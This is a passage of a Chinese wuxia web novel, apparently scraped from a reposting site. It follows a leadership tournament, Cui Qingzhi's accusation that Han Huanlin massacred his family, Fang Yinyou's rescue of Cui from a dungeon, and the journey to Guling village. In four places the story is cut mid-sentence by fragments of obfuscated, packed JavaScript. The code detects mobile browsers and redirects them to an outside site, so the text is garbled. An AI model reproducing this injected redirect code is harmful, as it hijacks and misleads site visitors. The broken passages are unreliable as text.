没过多久,围在场地边缘的大鼓被人捶响,阵阵擂鼓声震耳欲聋,让在场的人都变得激动了起来。 一个身穿黑袍的年轻男子走上擂台,朝着众人高喝一声,“争夺赛开始!” 随后,看热闹的人高声起哄,大部分都在喊着韩桓临的名字,只有寥寥几人喊得是那几个掌门人的名字。 柳傅文贴到方隐攸身前,压着嗓子说,“他们怎么这么激动?” 方隐攸贴到他耳边,小声说道:“这是一场豪赌。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810152|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳傅文闻言立刻反应了过来,他回头看着方隐攸,“意思是,城中有人开了赌局赌谁会是下一任盟主?” “不然你以为为什么明明不能参加争夺赛,还有那么多人来青州城?”方隐攸扶住他的脸,让他看向擂台,“凑热闹,凑得不一定是亲眼所见的热闹,还有投注的热闹。” “早知道我也下注了,韩桓临的胜算更大。” “为什么?” “直觉。”柳傅文的视线在韩桓临和长廊中的人之间来回穿梭,“他浑身都是杀气,而且信心十足的样子。” 正说着,韩桓临忽然睁开了双眼,锐利的目光直射向吵闹的人群,霎时间整个场地都安静了下来。 “你看,这就是震慑力。” 柳傅文用手肘戳了戳身后方隐攸的身子,却被他伸手握住手肘一扭,疼得他龇牙咧嘴的回首瞪了他一眼。 “放开!” 方隐攸依言放开他,“看棋不语。” 柳傅文哦一声,转头看向已经走上擂台的韩桓临和另一个手握长枪的瘦高老头。 老头和韩桓临显然是旧识,比武前还相互叙旧了一番,一个说老头精神头越发好了,一个说韩老弟气魄越来越足了。 反正都是些客套场面话,毕竟连生死状都签了,真心想的都是如何取了对方的项上人头。 所以,两人挥动刀枪的时候,都十分狠厉,兵器带起来的劲风呼在脸上都有一股冷气。 柳傅文踌躇了许久,还是开口问了身后人,“他们谁会赢?” “你不是看好韩桓临?” “可是我看这老头武功也不低。” 擂台上老头手里的长枪戳刺的十分迅猛,枪枪直逼要害,韩桓临虽说每次都能顺利躲过,但是也都是堪堪,若再慢一点,枪刃必定过戳穿他的肌肤。 “韩桓临。” 方隐攸话音一落,韩桓临手中的偃月刀在腰间转了一圈,劈头盖脸朝着老头的头顶砍去,巨大的冲击力让擂台上的木板都发出裂开的声响。 老头见状往后一翻,偃月刀劈入木板,韩桓临握住刀柄一转,地板顷刻间化作碎屑飞散。 他虎视眈眈的看着老头,“成老,小辈今日冒犯,你门中人,小辈必定善待。” 说罢,长刀猛地被抬起,然后又以迅雷不及掩耳之势直直的砍向成老的颈间——鲜血比成老的头颅更快落地。 台下众人发出一声欢呼,几个穿着黑袍的男子迅速跑上擂台收拾好满地狼藉,成老的尸首也被一个破凉席一裹就抬了下去。 柳傅文唏嘘一声,“韩桓临的速度好快。” 韩桓临往前一步,将手中长刀在身前一跺,抬眼扫过台下众人,沉声道:“我韩桓临在此立誓,成老门众,凡愿入我南山派者,皆善待。” 台下的人听罢,高呼称赞韩盟主大德,呼声此起彼伏,久久不停。 说完,韩桓临去后面的长亭中歇息了半盏茶的功夫后又上了擂台,与下一个掌门打了起来。 这次的掌门人比成老略微逊色了一些,两人过了没有二十招就被韩桓柏一刀斩死。 长廊中人陆陆续续上台和韩桓临打了不超过两个时辰,没有一个人能胜过他,最强的一个人也不过是一剑割破了他的衣摆。 在韩桓临下去休息的功夫,那个年轻的黑袍男子又上了台,他环顾场下众人,高声喊道:“可还有人想要来比武与韩掌门夺盟主之位?” 场下众人窃窃私语,无一人敢应。 “我来。”崔清止上前一步,看着亭中的韩桓临,风吹过,带动他的发梢和衣摆,眉眼平静、声音温润如君子般缓缓道:“在下崔清止,愿意一试。” 14. 往事 柳傅文听到崔清止的声音,连忙转身看向方隐攸,“他是韩桓临的对手吗?” “不及韩桓临的十分之一。” “那他...这不是上去送死吗?” “是。”方隐攸看着崔清止,看他捡起擂台边韩桓临的某个手下败将落下的长戟,然后缓步朝着长廊走去,从容不迫的签下生死状。 “他本就是来求死的。” 柳傅文看看崔清止,又看看韩桓临,“何必呢,留得青山在,不怕没柴烧。” “韩桓临不是莽夫,他是南山派的掌门,崔清止的青山才垒砌了一块砖,除非韩桓临得了失心疯,否则他永远不会是韩桓临的对手。”方隐攸凝望着崔清止的侧脸,他的表情坚定而决绝。 “我觉得他还是太着急了。”柳傅文十分不赞同的看着崔清止,“大不了给你一百两银子,让你刺杀韩桓柏。” “仇深到了一定程度,让仇人被一刀毙命反而是一种仁慈。”方隐攸撇一眼柳傅文的侧脸,“杀人比不过诛心解恨。” 注意到柳傅文还欲辩解,方隐攸直接捏住他的下巴,让他看着擂台上的两个人。 韩桓临和崔清止相对而站,他板着脸上下打量着崔清止,缓缓道:“你姓崔?” “正是。” 崔清止任由韩桓临打量,语气不疾不徐,眼神云淡风轻,仿佛不是上来争个你死我活,而是来结交朋友的。 “你是那个门派的?” “无门无派,江湖一旅人。” 韩桓临的神情变得警惕起来,往前多踱了一小步,“那你可知签下生死状,上了比武台,代表着什么?” “自然知晓。”崔清止淡淡一笑,“不是你死就是我死。” “呵!”韩桓临手中的长刀在身前一跺,沉声说道:“年纪轻轻的,胆子倒不小。” “死有什么可怕?”崔清止也跺了一下手中的长戟,“可怕的是悄无声息的死去。” 他神情一凛,盯着韩桓临冷漠的说到:“韩桓临,你已经忘了六年前发生的一切了,对吗?” 韩桓临闻言眼神瞬间变得极具攻击性,死死地盯着崔清止,然后不等崔清止开口,直接挥刀像他砍去。 崔清止迅速往后撤去,抬起长戟接住他这一刀,兵刃交接时发出一声刺耳的声响,又在一瞬间错开带出一阵火花。 崔清止趁势大喊,“韩桓临,你在六年前为骗取秘籍,屠我岭南崔氏满门,你难道都忘了吗?” “满嘴胡言!”韩桓临大喝一声,手中的偃月刀在空中转了一圈,带出一道罡风,直逼着崔清止的面门而去。 “你看好!” 崔清止喊了一声,手中的长戟也在空中转了一圈,打向韩桓临。 两人顺势都朝后退去,然后又迅速挥动手中兵器,他们两人的招式出乎意料的一模一样,只是韩桓临的力道更重,而崔清止底盘不够稳,被他一刀砍在右肩,整条胳膊瞬间血流如注。 “你练的,乃是我崔家的独门秘籍!”崔清止嘶吼一声,猩红着双眼盯着韩桓柏,“我崔家无意入江湖,你却隐瞒身份接近我爹,骗取我爹的信任,屠尽我崔家二十六口人,抢走了秘籍!” 柳傅文不可置信的看着满脸怒容的韩桓柏,“他竟然屠了别人满门?” 人群里发出同样惊呼的人不在少数,也有人不相信崔清止的话,大喊道:“世上何人不知,韩掌门学的可是韩家的祖传秘籍,怎么成你崔家的了?而且,谁知道你是在哪里偷学的韩掌门的招式,年轻人,输了没什么大不了,你怎么可以说这些血口喷人的话来败坏韩掌门的名声?” “小子,我韩桓临习得确实是我韩家的武功,我与你无冤无仇,你为何栽赃于我?”韩桓临看着崔清止,顺势做了一回好人:“今日我不杀你,你走吧。只是日后莫要再说这些莫须有的话。” 手臂上的血液顺着崔清止的手指滴落在地上,汇聚成一滩,映着他的身影,孤立无援,惨兮兮。 崔清止冷眼看向台下起哄的人群,不其然的和方隐攸四目相对,他怆然一笑,然后用长戟割破手掌,跪于地上大声喊道:“我崔清止对天发誓,今日所言句句属实。天下好汉皆可以去查证——” “胡言乱语!”韩桓临见状提刀就朝着他的后颈砍来,崔清止一动不动,继续道,“我以崔家第九代孙名义起誓,只要有人——” 偃月刀劈砍而下,风刃割在崔清止的后颈,带出一道血痕,眼看着刀刃既要砍下他的头颅,一柄长剑横空而出,然后反手一挑,将韩桓临震得后撤几步后才堪堪站稳。 方隐攸跨步挡在崔清止身后,侧过脸看向韩桓临,“让他说完。” 韩桓临错愕的看着手中被方隐攸一招震开的偃月刀,又恶狠狠的看了一眼崔清止,最后十分愤怒的瞪着方隐攸,“你又是谁?” 方隐攸手中长剑挽出一个剑花后入鞘,朝崔清止淡淡道,“继续。” 崔清止长呼一口气,感激的仰头望了他一眼,然后朝着众人继续道:“只要有人夺得我崔家秘籍,便是崔家的恩人,这本秘籍也算是我崔家赠于他。” 说完,他怨恨的看向韩柏临,“不像韩桓临之举,为偷、为强、为盗、为夺,为天下人所不齿!” 韩桓临怒气冲冲的提刀又朝着崔清止砍来,这次方隐攸没有阻止,只是跳入人群中,提着柳傅文的衣领,趁乱迅速朝着山下奔去。 “他会死吗?” 柳傅文的声音在风里断断续续的,听起来十分含糊。 “不知道。” 方隐攸回首望了一眼擂台的方向,“生死有命。” 他们两人在回城的路上遇到了一个意想不到的人——歌姬绾绾。 她依旧带着面纱,露在外面的眉眼满是焦急,看到方隐攸和柳傅文以后急匆匆的扑了过来,直接跪倒在了他们两人面前。 “两位大侠,求求你们救救清止吧!” 她仰面而泣,眼中含着恳切的祈求,“我那日看到二位与清止在同一个画舫,必然是与他相识的,求你们救救他吧。” 路上行人往来匆匆,看到一个女子跪在他们两个男人面前,便刻意放慢了脚步,想要看个热闹。 方隐攸冷眼一扫,那些人便立刻疾步离去。 柳傅文伸手扶住绾绾的手臂,将要将人拉起来,“绾绾姑娘,你先起来说。” 绾绾摇摇头,不肯起来,眼里蓄满了泪水,看上去十分惹人怜惜。 “救人一命,五十两黄金。”方隐攸看着她说道。 “有有有!我有银子!”绾绾闻言激动的点点头,将背后的包裹打开,拿出里面的珠宝首饰递给方隐攸,“大侠,这是我所有的盘缠了,你看够不够?” 珠宝首饰虽多,但是却不是珍品,卖不了几个钱,方隐攸面无表情的摇摇头,“不够。” “这...”绾绾颓然的往后跌去,她抬眼看向方隐攸,“大侠,先欠着,好不好?绾绾日后必当尽数偿还。” 柳傅文扯住方隐攸的衣袖,凑到他的耳边低声说,“你可千万考虑清楚,她像是早就料到了我们会路过此处,特意在这么等我们。” 方隐攸瞥他一眼,“我像是那么愚笨的人吗?” 柳傅文撇撇嘴,他看向绾绾,“是崔清止让你在此等候我们的?” 绾绾的脸色变得慌张起来,双手连忙扯住方隐攸的衣摆,哭着祈求,“大侠,清止说大侠是个好人,定不会见死不救,求求你了,你去救救清止吧...”说着,她用力的磕了几个头,“绾绾给大侠磕头了...” 方隐攸丝毫不为所动,“江湖有江湖的规矩,我若救他,便是与他为伍,与韩桓临为敌。” 说罢,他将柳傅文扔到背上,脚在地上一跺,直接越过了绾绾朝前奔去。 柳傅文撑住他的肩膀朝后望了一眼,绾绾整个人都无力的瘫软在地上,显得十分绝望。 “我感觉得到,你其实想救崔清止。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810153|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方隐攸沉默着继续往前奔走,没有理会他,等到两人回了客栈,他将柳傅文放到屋里,然后给自己倒了一杯冷茶,待一口喝完杯中茶水后才悠悠然回到:“对,但是我不想惹麻烦。” 柳傅文闻言脸色一动,凑到他身边好奇的问道,“那你想怎么救?” “悄悄的救。”方隐攸走到窗户边,看着街上显然是已经听闻到盟主争夺赛上发生的事情而变得异常激动的人,“不过也要看崔清止能不能活到我去救他。” . 等到月上枝头时,方隐攸如鬼魅一般落在南山派一处院落的树上,他凝神仔细观察整个南山派的动静,发觉有一处院中正在敲锣打鼓,还有嚎啕哭声。 应该是韩氏三兄妹的灵堂。 他仔细的看了许久,在来往的人中都没有看到韩桓临的身影,心里升起几分警惕,他虽要救崔清止但是也并不想与韩家为敌,所以还是得谨慎些的好。 方隐攸在来之前就打探清楚了,为了避免坐实崔清止口中的话,也为了营造自己宽宏大量的武林盟主形象,韩桓临并未当场杀了崔清止,只是将他扣了下来。 至于如今崔清止被关在哪里,还得靠方隐攸亲自去寻。 等了许久,韩桓临终于出现在了院子里,他神色十分凛然,衣裳上还有未干的血迹,显然是刚刚沾上去的。 看样子他刚刚去折磨了一通崔清止,方隐攸仔细回忆他刚刚是从哪个方向来的——南边。 方隐攸于是顺着南边的院子一个一个找了过去,大概半柱香的功夫以后,终于让他看到了一个特殊的院子,里面灯火通明,一直有人进进出出。 方隐攸小心的落在院中主屋的屋顶,掀开了一片瓦,谨慎的看着屋里的动静,出乎他意料的,里面空无一人,但是他明明看到有人进来了! 人呢? 方隐攸屏气凝神,静静等待着下一个人进屋,这样他就能看到人究竟去哪里的,不过在下一个人进来之前,有人钻出来了——地上的一块地板被掀开,一个身穿黑衣的男人从里面走了出来,然后又将木板盖了上去。 方隐攸见状表情变得凝重起来,地下的空间一般都易进难出,下去以后若是被人察觉,就算是他也只能强冲,不像地上可以随意溜走。 救还是不救,这是个问题。 方隐攸翻身躺倒屋顶上,看着夜空,今夜无月多繁星,星星点点的甚是好看,若是崔清止死了,便像是这漫天繁星少了一颗,无伤大雅,无人在意。 方隐攸忽然翻坐而已,再次看向屋内动静,恰好这时又有人从里面出来,他等到那人出了房间,然后悄无声息的溜进了房间,翻开木板走下了地道。 地道刚入时候非常窄,只能容一人通行,而且还没有几步,就有人迎面走来,他手里举着烛火,看到方隐攸时十分纳闷,“你怎么没有举火?” 方隐攸哪里知道火在什么地方,抬手将人打晕放在地上,迅速朝里面走去。 一路上他打晕了大概十几个人以后才走完窄窄的通道,再随后是一个宽敞的方方的空间,里面坐着五六个人,听到脚步声都朝他看了过来,反应过来方隐攸是陌生面孔时又迅速提刀砍来。 方隐攸迅速的解决了他们,往前继续走去,里面是许多间牢房,每一间都不大,大部分都关着人,不过那些人看上去十分呆滞,看到方隐攸以后没有任何反应,连眼睛都没有眨一下。 崔清止在最后一间,浑身是血的躺在地上,不过应该还没死,因为他听到动静后很明显的蜷缩了一下,看来是被折磨怕了。 方隐攸一剑劈开门锁,提着他的衣领往外走。 还没走几步,从外面涌进来一大群人,个个都凶神恶煞,像是要活剥了方隐攸一般。 方隐攸看了一眼手里的崔清止,“再躺一会。” 说完,他将人放在地上,握着剑上前一步,挡在崔清止身前,然后冷冷的扫了一眼众人,“让我们出去,或者我杀了你们再出去。” 15. 救与被救 众人闻言,大吼一声尽数朝着方隐攸扑了过来,就像是耗子一样,唧唧喳喳的,十分讨厌。 方隐攸的挥剑的动作非常迅速,刀光一闪,前排一众立刻血溅当场,他反身抬脚一踢,将人踢到后面那群乌合之众的身上,一群人立刻跌出丈许。 方隐攸收起剑,冷酷的盯着他们,“还杀吗?” “杀!” 一群人爬了起来,提着兵器又朝着方隐攸袭来,方隐攸的脸色变得冷峻起来,眼中终于浮起杀气。 他手中的长剑如有着千丝万缕的勾魂索,以一种诡异的弧度从他们的身上穿过,他是勾魂的使者,当他从人群中穿过时,众人一连串,一个接一个的倒在了地上。 方隐攸走回崔清止身边,提着他的衣领,继续往前走,这次堵他的不是人,而是满地的猛火油。 方隐攸的脚步立刻顿住,上行的地道窄且长,而外面的人一旦点火,火势蔓延的速度极快,他完全没有办法直接冲出去。 所以,只能退,另辟蹊径。 方隐攸提着崔清止回到最后一间牢房,他仰起头仔细的观察着头顶的土墙,仔细回忆他刚刚走的地道有多深。 崔清止倚坐在墙边,脸上都是血痕,早已经没了当初那副风度翩翩的样子。 他顺着方隐攸的视线看向头顶,“南山派在山腰上,地牢很深,上面的墙你打不穿。” 方隐攸点点头,然后看向身后的那堵墙,“南山派的房屋都坐北朝南,我下地道时也并未拐弯,所以这个地牢也是同样的朝向,这堵墙在靠外侧,可以试试。” 两人说话的功夫,猛火油已经流到了牢房门外,只怕这火势也快要起来了。 方隐攸将剑悬在腰间,双手立掌,深呼一口气后,咬牙朝着墙壁用力一击,墙壁一震,掉落满地的尘土,却没有丝毫要倒塌的迹象。 方隐攸不放弃的又打了几掌,墙体依旧没有任何反应。 崔清止见状无奈的苦笑一声,“方兄,看来是我害了你。” 方隐攸瞟一眼他,“聒噪。” “世人都说,第一刺客方隐攸冷血无情,我看此言差矣。” “是外面死的人还不够多吗?” “不,那不一样。”崔清止说着,猛咳一声,吐出一口鲜血,“你我萍水相逢,你便愿意冒险来救我,崔某,实在是感激不尽。” “不是你让那个歌姬求到我面前的?” “她是我表姐。”崔清止仰头望天,语气感慨万千,含着浓愁,“韩桓临屠我一家二十六人,其中就有我表姐一家三口,他们...实属无辜。” 方隐攸手撑在墙上,继续运着内力,“所以,你就杀了韩氏三兄妹?” 崔清止扶着墙缓缓地站了起来,猩红一片的眼睛凝望着方隐攸,“我若说,我只给韩钰一人下了毒,你信吗?” 方隐攸一愣,随后点点头,“信,你没必要撒谎。” “那毒名唤贪情,若是与中毒者发生鱼水之欢,便会沾染上毒气。” 崔清止话止于此,一切便已经明了,方隐攸露出一个嫌弃的表情,“你其实没必要向我解释,平白无故的脏了我的耳朵。” 崔清止垂下眼,“对不住,我不该说。” “火烧起来了。”方隐攸侧耳听着外面的动静说道。 崔清止叹了一口气,颤颤巍巍的走到墙边,伸手按住墙壁,指节间的伤痕深可见骨,看上去触目惊心,“是我拖累了方兄。” “我既来救你,就不会怪你。” 说罢,他再次屏息用力的朝着墙壁击了一掌,忽然,墙壁发出砰的一声响,整堵墙瞬间炸开,露出一个可通一人的窟窿,空气里弥漫着一股炸药炸过后的硝烟味。 而窟窿后面,竟然还站着一个人,他穿着一身黑衣,戴着面具,是那天晚上用鞭的男人,是他炸开了这堵墙。 男人冷眼扫了一眼方隐攸和崔清止,然后迅速离去,只留下牢房里的两人面面相觑。 方隐攸回首看了一眼已经烧到牢房外面的火,迅速提着崔清止的衣领冲出了地牢。 地牢外面比里面好不了多少,围了一群举着火把和兵器的南山派众徒,再外面还有一排已经拉满弓了的弓箭手。 刚刚那个黑衣男子也没能逃脱,站在距离他们不过半丈远的地方,手里握着长鞭,正回头盯着他们。 方隐攸提着崔清止落到他身边,“多谢。” 男人扫他一眼,然后冷冷的环顾四周,“不客气。” “你轻功了得,我等会拖住他们,你趁机跑。” “那你们呢?”男人看向催清止,“你带着他能走?” “今夜,你们一个都跑不掉。”韩桓临手握偃月刀走到几人面前,伸手指着崔清止,“我就知道,凭你一人怎么敢闯我南山派,果不其然有同党,留着你,为的就是将你们一网打尽。” 崔清止朝着韩桓临无所畏惧的摇摇头,“就算只有我一人,我也不惧。” “口出狂言。”韩桓临说完,对着身后的众徒一招手,“上!” 黑衣男人迅速挥动长鞭,卷起几人朝着人群扔去,砸倒一大片人。然后朝着山林中大喊一声,“出来!” 随后,便看到一群人从山林中嘶吼着冲了出来。 方隐攸看向男人,“这都是你带来的?” 男人并未回答这个问题,而是朝方隐攸大声一吼,“跑啊!” 方隐攸也不想与韩桓临正面交锋,趁着两群人厮杀的时候,朝着男人再次说了一声多谢,提着崔清止就往外面冲去。 韩桓临看到他想跑,立刻提着刀追了上去。 黑衣男人看到他追了上去,连忙挥动鞭子卷住他的脚踝,用力的将人拽了回来。 韩桓临回头怒气冲冲的瞪着他,挥刀就朝他砍了过来。 男人迅速委身躲过他的一击,然后扭动腰身闪到他的身后,鞭子朝前一甩,卷起他的刀柄,在用力一拽,将偃月刀抛到空中后脚尖点地,跃到半空中侧腿一踢,偃月刀便落入了扭打在一起的人群中。 韩桓临不可置信的看着他,难以想象他竟然三招就夺走了他的兵器。 男人朝他抬了抬下巴,露出一个挑衅的眼神,然后迅速隐入黑暗中不见人影。 紧随其后,被他叫出来的那群人也毫不恋战的冲入山林,就像是从未出现过一样。 方隐攸离开的很顺利,一路上想追他的人也没机会追上他。 进了城以后,他拐进一条小巷子将手里的崔清止交到等待良久的绾绾手里,一句话也没说直接就回了客栈。 房间里的烛火还未熄灭,一身锦衣的柳傅文撑着下巴在灯下打盹,听到方隐攸推门的声音后立刻惊醒。 “救出来了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810154|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方隐攸点点头,坐到他对面,“已经交给歌姬了。” 柳傅文上下打量他一眼,“你没受伤吧?” “没有。” “那就好。那他呢?” “废了一条胳膊。”方隐攸看着桌上的烛火,眼神在光里变得飘忽起来,“算是半个废人了。” 柳傅文叹一口气,“闹出这么大的动静,那韩桓临毫发无损,依旧还是做他的武林盟主,可是崔清止没了一条胳膊,也没能报仇,实在是可惜。” “报仇并不是非要杀了对方。”方隐攸拿起桌上的一根铁丝,挑起落在蜡烛上的芯灰,继续道:“韩桓临六年前虽说也是南山派掌门,武艺却远没有如今厉害。” “崔清止在擂台上的那番话,就算不是真的,有心之人也会让它变成真的。” 柳傅文眉峰一挑,“为了他手里的秘籍?” 方隐攸点点头,“对,为了秘籍。” “可是他是武林盟主,谁敢去抢?就算是打着为了崔家的幌子,也算是与整个武林为敌,难道他们不怕吗?” 方隐攸嗤笑一声,“武林盟主?那只是虚名。” 他往后一趟,靠在椅背中,整个人都舒展开,不疾不徐的说道:“武林中人遵从他,他就是可以号召武林的武林盟主,别人不遵从他,就算他是天王老子也没用。” 方隐攸眼神灼灼的盯着柳傅文,“而且,你不要小瞧了江湖人对一本可以练成神功的秘籍的痴狂程度。” “可是崔清止也练了秘籍上的武功,却还是被韩桓临打败,这秘籍真的有这么厉害吗?” “他才练了六年,就有如今的武力,可以了。” “六年?”柳傅文有些诧异,“他为什么才练了六年武?” 方隐攸的语气变得缓慢,带着几分感慨,“你忘了吗?他说过他们崔家本无意入江湖,崔清止啊,原本该是个书生。” 柳傅文脸上骤变,“他…” 方隐攸遗憾的摇摇头,“君子无罪,怀璧其罪。” 柳傅文垂眼看着斑驳的桌面,迟疑的问道,“那我们要不要再帮帮他?至少得帮他找一个安身之所。” “他有办法。” 方隐攸说完起身走到窗户边,推开窗看着黑漆漆的青州城,“我们明日继续赶路。” “不管崔清止了?” “萍水相逢而已,管那么多做什么。” 柳傅文走到他身边,与他并肩而立,沉默着望向南山派所在的方向。 过了许久后他才突然说道:“方隐攸,你有点让人住摸不透。” 方隐攸侧过脸看他,静静的等待着他的下文。 “这是你第一次主动救下一个人,一个认识不到三天的人。” “而你,当真也就是救下他,不问后续,不管他生死。” “没头没尾,就像是捡起路边的石子一样。”柳傅文顿了一下,“握在手里把玩一番又随手扔下。” “我不理解你这么做的原因,你没有那么好心。” 方隐攸听完他的长篇大论,伸手卷起他后背上的一缕头发,贵公子的发丝油光水滑,像黑色绸缎一般。 柳傅文微微回首看着他的动作,“你做什么?” “不需要原因,就像我此刻卷起你的头发,没有任何原因,它恰好在我的视线里,顺手而已。” 16. 古岭寨 第二日清晨时分,青州城内外下了一场春雨,密密麻麻的斜风细雨,地上不一会就湿透了。 柳傅文倚在窗户边,看着客栈门前的柳树枝在风里飘摇,不一会,身穿黑衣,撑着油纸伞的方隐攸出现在视线里。 他这人性子不羁,伞握得十分随意,半边身子都在雨里,脑后的几缕湿发被风吹着贴在细长白皙的脖子上,像是宣纸上行云流水的草书,一笔而成。 柳傅文一直在想,若是方隐攸穿一身广袖白衣,放下手中的可生剑,应该也是一个温润如玉的君子。 方隐攸抬起头,脸色平静的看向窗户边的柳傅文,朝他招了招手,示意他下来。 柳傅文见状转身下了楼,去柜台前结了房钱,然后冲进雨幕里躲进他的油纸伞下,与他并肩朝前走去。 两人身形相似,都不是什么瘦弱的身材,一把油纸伞堪堪挡住两人的肩膀,注意些也淋不到半点雨。 柳傅文举止比方隐攸优雅不少,步子跨得虽然快且大,但是每一步都拿的十分干净,丝毫不拖泥带水,不像方隐攸,虽然脚程没落下他半寸,但是速度却是时快时慢,没个准头。 此去幽州七百里,无论如何他们一日都不能赶到,所以柳傅文决定干脆买下一辆马车,慢慢悠悠的走,累了他还能在车上躺着睡一会。 方隐攸将油纸伞往柳傅文这边偏了偏,“城中人多,马车在城门口等着了。” 他们住的客栈离城门有些距离,两人走了大半柱香的功夫在到城门口。 如今盟主争夺赛已经结束,江湖中人也在陆陆续续的离开青州城,方才他们身前身后的行人都在讨论昨日里崔清止揭发韩桓临的恶行的事情。 等坐上了马车,柳傅文朝着前方驾车的方隐攸说道:“崔清止此举也算是将韩桓临披着的那张道貌盎然的假面扯下来了。” 方隐攸嗯了一声,一鞭子挥在马背上,马车晃晃悠悠的驶上了前往幽州的官道。 马车虽然能遮风挡雨,但是速度着实太慢,等到天擦黑的时候,他们也不过才走了两百多里路。 眼看着天色就要沉下去,雨也还没有停下来的征兆,他们必须找到一处能遮风避雨的地方过夜才行。 恰好前方路口处分出一条岔道,岔道口子上摆着一块石碑,上面写着古岭寨三个字。 方隐攸伸手敲了敲马车的立柱,隔着竹帘问车厢里的柳傅文,“前面有一个寨子,要去吗?” 柳傅文的脸迅速伸了出来,他的双眼迷离,显然是刚睡醒,他看了眼石碑,“古岭寨?” 柳傅文皱眉思索了片刻,语气迟疑的说道:“这种寨子里面的人信仰特殊,一不小心就会冒犯了他们的忌讳,你确定要进去吗?” 方隐攸回头盯着他脸颊上被压出来的红痕,“马车走得慢,到前面的镇子得再花上两个时辰,你确定还要继续走吗?” 柳傅文的神情变得犹豫起来,这马车里面虽然铺了软席,但是坐上一路也实在是难熬,再加上他也有些饿了,几番考虑之下他摆了摆手,“去去去,反正有你在,没什么可怕的。” 岔道有些窄,路两边都是苍天的松树,直立挺拔,郁郁葱葱,方隐攸深呼一口气,空气里泥土的腥味很浓。 往前走了约半盏茶的功夫,在岔道口的尽头有一条崎岖的小路,路尽头是一片绵延的群山,在群山脚下有一条细长的河流,河流将山脚一分为二,以一座木桥相连。 几十幢木楼分布在木桥两边,顺着河流排开,想来那里便是古岭寨。 方隐攸掀开竹帘,示意柳傅文出来看,“路太窄,马车进不去,我们得步行进去。” 柳傅文点点头,撑着油纸伞和方隐攸一道下了马车。 两人才走了没一会功夫,一个穿着蓑衣带着箬笠的男人迎面走了过来,眼下天色已经暗了下来,他们并不能看清那人的面容,只觉得他很高很壮,脚程很快,应该是在赶路。 等到那人走进,方隐攸伸手拦住了他,“敢问兄台,这寨子里面有哪里可以借宿一宿?” 那人脚步一顿,手扶住箬笠,抬头打量他们一眼,“你们不是寨子里的人,你们是谁?” 这时候两人才终于看清了男人的面容,他的五官十分硬朗,看上去有些严肃。 柳傅文笑嘻嘻的回道:“我们是过路的旅人,这里前不着村后不着店,不得已来此处找个落脚的地方。” 男人垂头看了一下脚上的淤泥,略一思索后伸手指了指山脚上的一处,“那里有一座山神庙,你们可以去那里暂住一晚。” 柳傅文点点头,连连道谢。 就在三人即将要擦肩而过时,男人忽然叫住了两人,“你们注意些,山神庙里不可见血腥,你们若是在山里猎了山鸡野兔,得到外面去吃。” 柳傅文一愣,应了声好。 等到男人走远了以后,柳傅文狐疑的看向方隐攸,“他怎么知道我们要去弄山鸡野兔吃?” “那不然呢?你我两手空空,难道要喝西北风吗?” “也对。” 两人说着,朝着男人所指的方向寻了过去,没多久就看到了那座山神庙。 庙门大敞着,里里外外都燃着许多烛火,大堂里面的山神像也塑的十分精致,眉眼低垂,视线落在供桌前的蒲团上,表情十分慈悲。 柳傅文将蒲团拿到门口坐下,然后手撑在膝盖上,望着站在屋檐下发呆的方隐攸,“怎么了?” “没什么,我去弄点吃的。” “你真的要去猎山鸡野兔?” “不去。”方隐攸回首看了一眼柳傅文,“想吃什么?” “想吃什么都行吗?” “嗯。”他往后退了一步,脚踩在门槛上。 “随便吃点,最好是热汤、有肉的。” 方隐攸点点头,离开之前再次叮嘱,“有人来了就藏到神像后面去,我很快回来。” 方隐攸很守诺言,在柳傅文手里那根从香炉里抽出来的半柱香还没燃尽的时候就已经提着一个竹篓回来了。 柳傅文将手里的燃香随手扔在屋外的湿地里,香瞬间熄灭,升起一缕青烟。 “弄了什么吃的?”柳傅文凑到方隐攸身边,盯着他手里的东西。 方隐攸将人推进庙里,反手关上庙门后将竹篓里的东西拿出来摆在了地上。 一碗热气腾腾的肉汤,一盘卤肉,还有两碗素菜。 方隐攸拿出两个饼放到他手里,然后递给他一双筷子,“吃吧。” 柳傅文早就饿了,期待的点点头,盘腿坐到地上开始吃饭。 大半碗肉汤都到了柳傅文的胃里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810155|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 